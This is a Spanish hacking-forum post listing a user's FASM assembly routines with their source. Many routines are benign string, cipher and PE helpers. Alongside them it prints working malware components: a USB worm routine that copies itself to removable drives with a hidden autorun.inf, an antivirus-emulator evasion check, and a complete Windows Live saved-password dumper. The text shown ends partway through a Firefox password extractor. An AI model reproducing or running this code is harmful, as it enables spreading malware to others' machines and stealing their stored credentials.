Programas
- Humilde Visor de claves de el msn 0.1v by YST (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244335#msg1244335)
Descripción: Programa que te muestra todas las claves y cuentas guardadas en el Msn Live.
- Humilde Visor de claves de el Firefox 0.1v by YST (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244336#msg1244336A)
Descripción: Programa que te muestra las claves guardadas en el Firefox 3
- CrearImport (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244303#msg1244303)
Descripción: Programa que crea un import parecido a el "kernel32.inc" que trae el Fasm por defecto , con todas las funciones de la libreria indicada.
- PE visor by YST (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244343#msg1244343)
Descripción: Pequeño visor del formato PE de cualquier archivo que contenga este formato.
Codigos generales.
- ChangeEntryPoint (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244339#msg1244339)
Descripción: Cambia el EntryPoint de un archivo con formato PE.
- GetAddressFunction (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244290#msg1244290)
Descripción: Función que simula la función GetProcAddress de la kernel32.dll
- Split (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244313#msg1244313)
Descripción: Codigo que parte una cadena por medio de un separador.
- Zerar (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244293#msg1244293)
Descripción: Función que llena de tantos 0 como le indiques una posición.
- cInstr (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244277#msg1244277)
Descripción: Función que te dice si una cadena se encuentra dentro de otra y de encontrarsre devuelve la posicion donde se encuentra y en caso contrari devuelve 0
- StrReverse (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244295#msg1244295)
Descripción: Función pone una cadena al revez (ej: "Hola" te la dejaria en "aloH" )
- EncriptacionChangeCase (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244316#msg1244316)
Descripción: Función que remplaza todas las mayusculas por minuscula y viceversa
- EncriptacionXOR (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244264#msg1244264)
Descripción: Función que cifra mediante un XOR
- Encriptacion YST (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244275#msg1244275)
Descripción: Función que cifra mediante un algoritmo propio
- Infección USB (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244328#msg1244328)
Descripción: Función que infecta unidades extraibles
- DetectaExtención (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244331#msg1244331)
Descripción: Función que devuelve la extención de un archivo.
- cRtlMoveMemory (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244327#msg1244327)
Descripción: Función que simula la función RtlMoveMemory de kernel32.dll .
- EOFExtraDataExtract (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244342#msg1244342)
Descripción: Función que devuelve donde se encuentra el fin del archivo mediante el formato PE .
- antiemulator (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244291#msg1244291)
Descripción: Función que detecta la emulación de algunos antivirus .
- CapetaVaciaOUnidad (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244296#msg1244296)
Descripción: Función que dice si una ruta no contiene archivos .
- ASCIITOUNICODE (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244267#msg1244267)
Descripción: Función que pasa una cadena ascii a unicode .
- ConcatenarUnicode (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244324#msg1244324)
Descripción: Función que concatena 2 cadenas en unicode .
- LenUnicode (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1244320#msg1244320)
Descripción: Función que mide una cadena en unicode.
- StringToHex (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1251677#msg1251677)
Descripción: Función que pasa una cadena ASCII a Hexadecimal.
- HexToString (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1251722#msg1251722)
Descripción: Función que pasa una cadena Hexadecimal a una cadena ASCII.
- SHA1Hash (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1251832#msg1251832)
Descripción: Saca el hash sha1 de un dato
- Propagación por emule (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1255845#msg1255845)
Descripción: Codigo que se propaga por el sistema p2p emule.
- Propagación por Omemo (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1255940#msg1255940)
Descripción: Codigo que se propaga por el sistema p2p Omemo.
- Propagación por Ares (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1255946#msg1255946)
Descripción: Codigo que se propaga por el sistema p2p ares.
- fRight (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1256520#msg1256520)
Descripción: Funcion que iguala a la función Right de Visual basic 6.
- RC4 (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1259043#msg1259043)
Descripción:Codigo que cifra usando el algoritmo RC4.
- Rot39 (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1272155#msg1272155)
Descripción:Codigo que cifra usando el algoritmo ROT39.
- Ejecución de comandos con pipes (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1272080#msg1272080)
Descripción:Codigo que muestra los valores devueltos por un ping 127.0.0.1 .
- IsVirtualPCPresent (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1272754#msg1272754)
Descripción:Detecta si estamos siendo ejecutados en una maquina virtual .
- Llamar funciones de librerias como lo hace el Visual basic 6 (http://foro.elhacker.net/asm/recopilacion_de_mis_codigos-t256657.0.html;msg1294396#msg1294396)
Descripción: Ejemplo de como llama las api's el visual basic 6 , codigo original por karcrack traducido por mi ;) .
;Función que cifra con un xor 10 cada byte de una cadena
; cCadena = Puntero de cadena a cifrar
; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
; By YST
proc EncriptacionXOR,cCadena,cTamaño
push ebx
xor ebx,ebx
cmp [cTamaño],0
je .contar
mov ebx,[cTamaño]
jmp .Start
.contar:
mov ebx,0
mov eax,[cCadena]
.len:
inc ebx
inc eax
cmp byte[eax],0
jne .len
.Start:
mov eax,[cCadena]
inc ebx
dec eax
.bucle:
dec ebx
cmp ebx,0
jbe .salir
inc eax
xor byte[eax],10
jmp .bucle
.salir:
pop ebx
ret
endp
proc ASCIITOUNICODE,Cadena,Buffer
push ecx ebx
mov eax,[Cadena]
mov ebx,[Buffer]
dec eax
sub ebx,2
.bucle:
inc eax
cmp byte[eax],0
je .salir
add ebx,2
mov cl,byte[eax]
mov byte[ebx],cl
mov byte[ebx+1],0
jmp .bucle
.salir:
pop ebx ecx
ret
endp
macro MacroYSTEncript Posicion,Tamaño{
local ..Caracter,..numero
..numero = Tamaño
repeat Tamaño
..numero = ..numero - 1
load ..Caracter from Posicion+%-1
..Caracter = byte ..Caracter + 3
..Caracter = byte not ..Caracter
..Caracter = byte ..Caracter xor 45
..Caracter = byte ..Caracter xor ..numero
store ..Caracter at Posicion+%-1
end repeat
}
proc YSTEncript,cCadena,cBuffer,cTamaño
push eax ebx ecx edx esi
mov ebx,[cBuffer]
mov esi,[cCadena]
dec esi
dec ebx
.Eb:
dec [cTamaño]
inc esi
inc ebx
mov cl,byte[esi]
add cl,3
mov byte[ebx],cl
not byte[ebx]
xor byte[ebx],45
mov edx,[cTamaño]
xor byte[ebx],dl
cmp [cTamaño],0
jne .Eb
pop esi edx ecx ebx eax
ret
endp
proc YSTDesencript,cCadena,cBuffer,cTamaño
push eax ebx ecx edx esi
mov ebx,[cBuffer]
mov esi,[cCadena]
dec esi
dec ebx
.Eb:
dec [cTamaño]
inc esi
inc ebx
mov cl,byte[esi]
mov byte[ebx],cl
mov edx,[cTamaño]
xor byte[ebx],dl
not byte[ebx]
xor byte[ebx],45
sub byte[ebx],3
cmp [cTamaño],0
jne .Eb
pop esi edx ecx ebx eax
ret
endp
include 'win32ax.inc'
.code
start:
stdcall cInstr,"98y4ct2y3Hola83925832c","Hola"
.if eax = FALSE
invoke MessageBox,0,"No esta.",0,0
.else
invoke MessageBox,0,eax,0,0
.endif
invoke ExitProcess,0
;////////////////////////////////////////////////////////////////////////////////////////////////////
;//Descripción: Funcion que ve si la segunda cadena se encuentra dentro de la primera //
;//c1 = Cadena //
;//c2 = Cadena que se buscara en c1 //
;// Retorna: //
;// Si no se encuentra o hay error retorna FALSE , en el caso de que se encuentre devuelve eax//
;// apuntandoa la posicion de c1 donde se encontro c2 //
;// by YST //
;////////////////////////////////////////////////////////////////////////////////////////////
proc cInstr,c1,c2
push edi esi ebx ecx edx
stdcall Len,[c2]
mov edi,eax
stdcall Len,[c1]
mov esi,eax
cmp edi,esi
jg .Falso
mov edx,[c1]
mov ebx,[c2]
dec edx
inc esi
.bucle:
dec esi
inc edx
mov cl,byte[edx+edi]
mov byte[edx+edi],0
stdcall comparar,edx,[c2]
mov byte[edx+edi],cl
.if eax = 0
mov eax,edx
jmp .salir
.endif
cmp esi,0
jne .bucle
.Falso:
mov eax,FALSE
.salir:
pop edx ecx ebx esi edi
ret
endp
proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
include 'win32ax.inc'
.code
start:
invoke LoadLibrary,"user32.dll"
stdcall GetAddressFunction,eax,"MessageBoxA"
stdcall eax,0,0,0,0
invoke ExitProcess,0
proc GetAddressFunction,pMZ,pApi
;EDI = MZ
;Expot data = EBX
;Esi = Cantidad de funciones
;edx = AddressOfNames
;ECX = Propositos generales
mov edi, [pMZ]
mov ebx,[edi+0x3c]
mov ebx,[ebx+edi+0x78]
add ebx,edi
mov esi,[0x18+ebx]
mov edx, [0x20+ebx]
add edx,edi
.bucle:
dec esi
cmp esi,0
je .error
mov eax,esi
rol eax,2 ;Multiplicamos esi por 4
mov eax,[edx + eax]
add eax,edi
stdcall comparar,[pApi],eax
xor eax,0
jnz .bucle
mov eax,[0x24+ebx]
add eax,edi
movzx ecx, word[eax + 2*esi]
mov eax, [ebx + 0x1c]
add eax,edi
mov eax, [eax + 4 * ecx]
add eax, edi
.salir:
ret
.error:
xor eax,eax
jmp .salir
endp
proc comparar ,SRC,DST
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
.end start
antiemulator:
push ebx ecx
invoke GetTickCount
mov ebx,eax
mov eax,2
mov ecx,250
mul ecx
invoke SleepEx,eax,FALSE ; 250 * 2= 500 ( para confundir un poco el antivirus )
invoke GetTickCount
sub eax,ebx
cmp eax,500
jl .si
mov eax,FALSE
pop ecx ebx
ret
.si:
pop ecx ebx
mov eax,TRUE
ret
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
include 'win32ax.inc'
.data
buffer rb 100
.code
start:
stdcall StrReverse,kk,buffer
invoke MessageBox,0,buffer,kk,0
leave
ret
kk: db "Estoy cifrado",0
proc StrReverse,cCadena,cBuffer
push ebx esi edi eax ecx
mov ebx, [cCadena]
mov esi,[cBuffer]
stdcall Len,ebx
mov ecx,eax
mov al,byte[ebx]
dec ecx
mov edi,0
.bucle:
mov ah,byte[ebx+ecx]
mov byte[esi+edi],ah
inc edi
dec ecx
jecxz .salir
jmp .bucle
.salir:
mov byte[esi+edi],al
mov byte[esi+edi+1],0
pop ecx eax edi esi ebx
ret
endp
proc Len , SRC
push ecx edi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
.end start
include 'win32ax.inc'
.code
start:
stdcall CapetaVaciaOUnidad,"F:"
.if eax = TRUE
invoke MessageBox,0,"La carpeta esta vacia",0,0
.else
invoke MessageBox,0,"La carpeta no esta vacia",0,0
.endif
invoke ExitProcess,0
proc CapetaVaciaOUnidad,ruta
locals
Find WIN32_FIND_DATA ?
HandleBusqueda dd ?
Ruta dd ?
endl
push ebx
invoke GlobalAlloc,GPTR,MAX_PATH+1
mov [Ruta],eax
stdcall Concat,[ruta],"\*", [Ruta]
invoke FindFirstFile,[Ruta] , addr Find
mov [HandleBusqueda],eax
invoke FindNextFile ,eax, addr Find
invoke lstrcpy,[Ruta],addr Find.cFileName
mov ebx,[Ruta]
.if word[ebx] = ".."
invoke FindNextFile, [HandleBusqueda], addr Find
.endif
invoke lstrcpy,[Ruta],addr Find.cFileName
mov ebx,[Ruta]
.if word[ebx] = ".."
invoke GlobalFree,[Ruta]
mov eax,TRUE
.else
.if dword[ebx] = "RECY"
.if dword[ebx+4] = "CLER"
invoke GlobalFree,[Ruta]
mov eax,TRUE
.endif
.else
invoke GlobalFree,[Ruta]
mov eax,FALSE
.endif
.endif
.endif
pop ebx
ret
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
.end start
format pe console
espacio equ 13,10,0
include 'win32ax.inc'
.data
RutaLib rb MAX_PATH
RutaINC rb MAX_PATH
.code
start:
invoke printf,"Ingrese la ruta de la libreria:"
invoke printf,espacio
invoke scanf,"%s",RutaLib
invoke printf,"Ingrese la ruta de la donde se generara el include:"
invoke printf,espacio
invoke scanf,"%s",RutaINC
stdcall CrearImport,RutaLib,RutaINC
invoke ExitProcess,0
proc CrearImport,NombreLIB,NombreImport
locals
DirPEHeader dd ?
PunteroPEHeader dd ?
RVAofExportDirectory dd ?
NumberOfNames dd ?
AddressOfNames dd ?
Funcion dd ?
HFile dd ?
Nosirve dd ?
Largo dd ?
LibHandle dd ?
endl
push ebx edx edi ecx
invoke LoadLibrary, [NombreLIB]
mov [LibHandle],eax
cmp eax,NULL
je .Error
push dword[eax + 03Ch]
pop [DirPEHeader]
push [DirPEHeader]
pop [PunteroPEHeader]
add [PunteroPEHeader],eax
mov ebx,[PunteroPEHeader]
cmp word[ebx],"PE"
jne .Error
push dword[ebx+078h]
pop [RVAofExportDirectory]
mov ebx, [RVAofExportDirectory]
add ebx,eax
push dword[ebx+018h]
pop [NumberOfNames]
mov edx,[NumberOfNames]
push dword[ebx+20h]
pop [AddressOfNames]
mov ebx,[NumberOfNames]
mov edi, [AddressOfNames]
add edi,[LibHandle]
invoke CreateFileA, [NombreImport], GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov [HFile], eax
invoke lstrlen,"import "
invoke WriteFile, [HFile], "import ",eax,addr Nosirve, NULL
invoke lstrlen,[NombreLIB]
sub eax,4
invoke WriteFile, [HFile], [NombreLIB],eax,addr Nosirve, NULL
invoke WriteFile,[HFile] , ",\",2,addr Nosirve, NULL
invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
.bucle:
dec ebx
mov eax, [edi + ebx * 4]
add eax,[LibHandle]
mov [Funcion],eax
invoke lstrlen, [Funcion]
invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
invoke WriteFile, [HFile],",",1,addr Nosirve, NULL
invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
invoke lstrlen, [Funcion]
invoke WriteFile, [HFile], [Funcion],eax,addr Nosirve, NULL
.if ebx = 0
invoke WriteFile, [HFile],"'",1,addr Nosirve, NULL
.else
invoke WriteFile, [HFile],"',\",3,addr Nosirve, NULL
invoke WriteFile, [HFile], espacio,2,addr Nosirve, NULL
.endif
cmp ebx,0
jne .bucle
invoke CloseHandle, [HFile]
invoke system,"cls"
invoke printf,"Extraida las funciones de: "
invoke printf,RutaLib
invoke printf,espacio
invoke printf,espacio
invoke printf,"El include ah sido generado en : "
invoke printf,RutaINC
invoke printf,espacio
invoke printf,espacio
invoke printf,"Con "
invoke printf,"%d",[NumberOfNames]
invoke printf," funciones extraidas."
invoke printf,espacio
invoke system,"pause"
pop ecx edi edx ebx
ret
.Error:
invoke system,"cls"
invoke printf,"Ocurrio un error durante la extracciòn."
invoke printf,espacio
invoke system,"pause"
ret
endp
.end start
PD: En este codigose necesita agregar alguna apis a la win32ax.
include 'win32ax.inc'
.data
Separador db "/()·/", 0
Cadena db 'Soy/()·/una/()·/cadena',0
Cantidad dd ?
buffer rb MAX_PATH
.code
start:
stdcall Split,Cadena,Separador,buffer
mov [Cantidad],eax
stdcall Len,Separador
mov ebx,eax
mov ecx,[Cantidad]
inc ecx
mov esi,buffer
.bucle:
push ecx
invoke MessageBox,0,esi,esi,0
stdcall Len,esi
add esi,eax
add esi,ebx
pop ecx
loop .bucle
invoke ExitProcess,0
; cCadena(in) = Cadena a partir
; cSeparador(in) = Separador que se usara para partir la cadena
; cBuffer(out) = A donde se guardara la cadena partida
; Retorna la cantidad de separadores encontrados
proc Split,cCadena,cSeparador,cBuffer
push edi esi ecx ebx
xor ebx,ebx
stdcall copy,[cBuffer],[cCadena]
stdcall Len,[cSeparador]
mov edi,eax
mov esi,[cBuffer]
dec esi
.bucle:
inc esi
cmp byte[esi],0
je .salir
mov cl,byte[esi+edi]
mov byte[esi+edi],0
stdcall comparar,esi,[cSeparador]
mov byte[esi+edi],cl
cmp eax,0
jne .bucle
inc ebx
mov byte[esi],0
add esi,edi
jmp .bucle
.salir:
mov eax,ebx
pop ebx ecx esi edi
ret
endp
proc comparar ,SRC,DST ;Funcion que compara
push edi ecx esi
mov ecx,-1
mov edi,[SRC]
mov al,0
repnz scasb
mov eax,ecx
not eax
mov ecx,eax
mov esi,[SRC]
mov edi,[DST]
repz cmpsb
mov eax,1
jnz Next
dec eax
Next:
pop esi ecx edi
ret
endp
proc Len,cCadena ;Funcion que mide la cadena
push ecx edi
mov ecx,-1
mov edi,[cCadena]
mov al,0
repnz scasb
mov eax,ecx
not eax
dec eax
pop edi ecx
ret
endp
proc copy,cDestino,cCadena ;funcion que copia una cadena
push ecx edi esi
stdcall Len,[cCadena]
add eax,2
mov ecx,eax
mov esi,[cCadena]
mov edi,[cDestino]
rep movsb
pop esi edi ecx
ret
endp
.end start
include 'win32ax.inc'
.data
xD db '[soy una cadena.]',0
.code
start:
stdcall EncriptacionChangeCase,xD,0
invoke MessageBox,0,xD,0,0
invoke ExitProcess,0
;Función que transforma las miniscula a mayusculas y viceversa
; cCadena = Puntero de cadena a cifrar
; cTTamaño = Tamaño de cadena a enbcriptar si este es 0 se medira la cadena automaticamente (fin de cadena de caracter nulo )
; By YST
proc EncriptacionChangeCase,cCadena,cTamaño
push ebx
xor ebx,ebx
cmp [cTamaño],0
je .contar
mov ebx,[cTamaño]
jmp .Start
.contar:
mov ebx,0
mov eax,[cCadena]
.len:
inc ebx
inc eax
cmp byte[eax],0
jne .len
.Start:
mov eax, [cCadena]
dec eax
inc ebx
.bucle:
dec ebx
inc eax
cmp ebx,0
je .salir
cmp byte[eax],'A'
jb .bucle
cmp byte[eax],91
jge .revisar
jmp .seguir
jmp .bucle
.seguir:
cmp byte[eax],"Z"
jbe .Mayuscula
cmp byte[eax],"z"
jbe .Miniscula
jmp .bucle
.salir :
xor ebx,ebx
mov ebx,0
mov eax,[cCadena]
pop ebx
ret
.revisar:
cmp byte[eax],96
jg .seguir
jbe .bucle
.Mayuscula: ;Si es Mayuscula la pasamos a miniscula
add byte[eax],0x20
jmp .bucle
.Miniscula: ;Si es miniscula la pasamos a Mayuscula
sub byte[eax],0x20
jmp .bucle
xor ebx,ebx
mov ebx,0
mov eax,[cCadena]
endp
.end start
proc LenUnicode,cCadena
mov ebx,[cCadena]
mov eax,0
.bucle:
inc eax
cmp byte[ebx+eax*2],0
jne .bucle
pop ebx
ret
endp
proc ConcatenarUnicode,cCadena1,cCadena2,cBuffer
push esi edi
mov edi,[cBuffer]
mov esi,[cCadena1]
.bucle1:
movsb
cmp word[esi],0
jne .bucle1
inc edi
mov esi,[cCadena2]
.bucle2:
movsb
cmp word[esi],0
jne .bucle2
pop edi esi
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
Esta en fasm para llamarlo se llama con
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
Autorun db '[autoRun]',13,10,\
'action=Open Files On Folder',13,10,\
'shellexecute=',0
Autorun2 db 13,10,\
'UseAutoPlay=1',0
BufferUnidades rb 31
proc InfeccionUSB
locals
Miruta dd ?
Minombre dd ?
MiRutaInfeccionaria dd ?
MiAutorun dd ?
RutaAutorun dd ?
handleCreado dd ?
tamaño dd ?
bEscritos dd ?
endl
pushad
invoke GlobalAlloc,GPTR,MAX_PATH
mov [Miruta],eax
invoke GetModuleFileNameA,0,[Miruta],MAX_PATH
stdcall ConseguirNombre,[Miruta]
mov [Minombre],eax
.infinito:
invoke SleepEx,1000,FALSE
stdcall Zerar,BufferUnidades,30
invoke GetLogicalDriveStringsA,30,BufferUnidades
mov ebx,BufferUnidades
.bucleDetectaExtraible:
invoke GetDriveTypeA,ebx
.if eax = DRIVE_REMOVABLE
.if word[ebx] = 'A:'
.else
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiRutaInfeccionaria],eax
stdcall Concat,ebx,[Minombre],[MiRutaInfeccionaria]
; stdcall LLamaOtraApi,'shlwapi.dll', "PathFileExistsA"
invoke PathFileExistsA,[MiRutaInfeccionaria]
.if eax = FALSE
invoke CopyFileA,[Miruta],[MiRutaInfeccionaria],FALSE
;SetFileAttributes
invoke SetFileAttributesA,[MiRutaInfeccionaria],FILE_ATTRIBUTE_HIDDEN
invoke GlobalAlloc,GPTR,MAX_PATH
mov [MiAutorun] ,eax
invoke GlobalAlloc,GPTR,MAX_PATH
mov [RutaAutorun],eax
stdcall Concat,Autorun,[Minombre], [MiAutorun]
stdcall Concat,[MiAutorun],Autorun2, [MiAutorun]
stdcall Concat,ebx,"autorun.inf",[RutaAutorun]
invoke CreateFileA, [RutaAutorun] , GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0
mov [handleCreado], eax
invoke lstrlenA,[MiAutorun]
mov [tamaño],eax
invoke WriteFile, [handleCreado],[MiAutorun] , [tamaño], addr bEscritos, NULL
invoke CloseHandle, [handleCreado]
invoke SetFileAttributesA,[RutaAutorun] ,FILE_ATTRIBUTE_HIDDEN
invoke GlobalFree,[MiAutorun]
invoke GlobalFree,[RutaAutorun]
.endif
invoke GlobalFree,[MiRutaInfeccionaria]
.endif
.endif
.if byte[ebx] = 0
invoke GlobalFree,[Miruta]
invoke CreateThread , 0, 0,InfeccionUSB,0,0 , 0
invoke ExitThread,0
.else
add ebx,4
jmp .bucleDetectaExtraible
.endif
endp
proc Concat uses esi edi, @AdrSrc1, @AdrSrc2, @AdrDest
mov esi,[@AdrSrc1]
mov edi,[@AdrDest]
.concat_src1:
movsb
cmp byte[esi],0
jne .concat_src1
mov esi,[@AdrSrc2]
.concat_src2:
movsb
cmp byte[esi],0
jne .concat_src2
movsb
ret
endp
proc ConseguirNombre,ruta ;Funcion que devuelve el nombrer de el archivo.
push ebx
xor ebx,ebx
mov ebx,[ruta]
stdcall len,[ruta]
add ebx,eax
@@:
dec ebx
cmp byte[ebx],5Ch
jne @b
inc ebx
mov eax,ebx
pop ebx
ret
endp
proc Zerar,Puntero,Cantidad
push ecx
push ebx
mov ecx,[Cantidad]
mov ebx,[Puntero]
.bucle:
mov byte[ebx+ecx],0
loop .bucle
mov byte[ebx],0
pop ebx
pop ecx
ret
endp
include 'win32ax.inc'
.code
start:
stdcall DetectaExtención,"SoyUnExe.php.exe.YoSoyLaextensionreal"
invoke MessageBox,0,eax,0,0
invoke ExitProcess,0
;Descripcion: Esta función devuelve la extension de un archivo
; cRuta = Ruta del archivo
; by YST
proc DetectaExtención,cRuta
push ebx esi
xchg eax,[cRuta]
dec eax
.bucle:
inc eax
cmp byte[eax],0
jne .bucle
inc eax
.bucle2:
dec eax
cmp byte[eax],"."
jne .bucle2
xor esi,esi
dec esi
.bucle3:
inc eax
inc esi
cmp byte[eax],0
jne .bucle3
push eax
invoke GlobalAlloc,GPTR,esi
xchg ebx,eax
pop eax
sub eax,esi
stdcall cRtlMoveMemory,ebx,eax,esi
xchg ebx,eax
.salir:
pop esi ebx
ret
endp
;Descripcion: Esta función funciona igual que la winapi RtlMoveMemory
; by YST
proc cRtlMoveMemory,cBuffer,Cpuntero,cCantidad
push esi edi
xchg edi,[cBuffer]
xchg esi,[Cpuntero]
.bucleb:
dec [cCantidad]
movsb
cmp [cCantidad],0
jge .bucleb
pop edi esi
ret
endp
.end start
Espacio equ 13,10
format pe console
include 'win32ax.inc'
entry start
.data
Logo db ' =====================================================',13,10
db ' = Humilde Visor de claves de el msn 0.1v by YST =',13,10
db ' =====================================================',13,10,0
lCount dd ?
lCred dd ?
struct DATA_BLOB
cbData dd ?
pbData dd ?
ends
tBlobOut DATA_BLOB
tBlobIn DATA_BLOB
lmem dd ?
acento rb 3
.code
start:
invoke system,"color 03"
invoke printf,Logo
invoke printf,Espacio
invoke printf,Espacio
invoke CredEnumerate,"WindowsLive:name=*", 0, lCount,lCred
.if [lCount] = 0
invoke printf,"%s","Ninguna cuenta encontrada."
jmp salir
.else
mov ebx, [lCred]
.bucle:
dec [lCount]
mov eax, dword[ebx]
mov edi,dword[eax+8]
mov edx,dword[eax+24]
mov esi,dword[eax+28]
mov [tBlobIn.cbData],edx
mov [tBlobIn.pbData] ,esi
invoke CryptUnprotectData,tBlobIn, $0, $0, $0, $0, $1, tBlobOut
.if [tBlobIn.cbData] = 0
mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"Mail: %s",eax
invoke printf,Espacio
invoke printf,Espacio
.else
invoke LocalAlloc,GPTR,[tBlobIn.cbData];
mov [lmem],eax
stdcall UniToAscii ,[lmem], [tBlobIn.pbData]
invoke printf,"%s","Mail: "
mov eax, dword[ebx]
mov eax,dword[eax+48]
invoke printf,"%s",eax
invoke printf,Espacio
invoke CharToOem,"ñ",acento
invoke printf,"Contrase"
invoke printf ,"%s",acento
invoke printf, "a: %s",[lmem]
invoke printf,Espacio
invoke printf,Espacio
invoke LocalFree,[lmem]
.endif
.if [lCount] = 0
.else
add ebx,4
jmp .bucle
.endif
.endif
salir:
invoke ExitProcess,0
proc UniToAscii, ascii, unicode
push esi
push edi
mov esi, [unicode]
mov edi, [ascii]
.count:
.if byte[esi] <> 0
movsb
jmp .count
.endif
inc esi
.if byte[esi] = 0
jmp .exit
.endif
jmp .count
.exit:
mov eax, edi
add eax, 2
pop edi
pop esi
ret
endp
section '.idata' import data readable writeable
library kernel32,'kernel32.dll',crypt32,"crypt32.dll",user32,'user32.dll',advapi32,'advapi32.dll',msvcrt,'msvcrt.dll'
include 'api/kernel32.inc'
import crypt32,CryptUnprotectData,"CryptUnprotectData"
import advapi32,\
CredEnumerate,'CredEnumerateA'
include 'api/user32.inc'
import msvcrt,printf,"printf",system,"system"
section '.reloc' fixups data discardable
format pe console
entry start
include 'win32ax.inc'
sPath equ dword[ebx+4]
Espacio equ 13,10
.data
struct TSECItem
SECItemType dd ?
SECItemData dd ?
SECItemLen dd ?
ends
url dd ?
valor dd ?
lvLibs0 dd ?
Logo db ' =====================================================',13,10
db ' = Humilde Visor de claves de el Firefox 0.1v by YST =',13,10
db ' =====================================================',13,10,0
URL dd ?
Campo dd ?
tsec TSECItem
tSecDec TSECItem
lvLibs7 dd ?
lKeySlot dd ?
P dd ?
bUsados dd ?
hFile dd ?
tamAr dd ?
IB dd ?
sFFPath rb MAX_PATH+1
sRet rb 260
sRet2 rb 260
comp dd ?
.code
start:
invoke system,"color 03"
invoke printf,"%s",Logo
invoke SHGetSpecialFolderLocation,0,26h,ebx
invoke LocalAlloc,40h,MAX_PATH+1
mov dword[ebx+4] ,eax
invoke SHGetPathFromIDList,dword[ebx],sPath
invoke lstrcat,sPath,"\Mozilla Firefox\"
stdcall Cargar,dword[ebx+4],"mozcrt19.dll"
stdcall Cargar,dword[ebx+4],"sqlite3.dll"
stdcall Cargar,dword[ebx+4],"nspr4.dll"
stdcall Cargar,dword[ebx+4],"plc4.dll"
stdcall Cargar,dword[ebx+4],"plds4.dll"
stdcall Cargar,dword[ebx+4],"nssutil3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
stdcall Cargar,dword[ebx+4],"softokn3.dll"
;"nss3.dll"
invoke LocalAlloc,40h,MAX_PATH+1
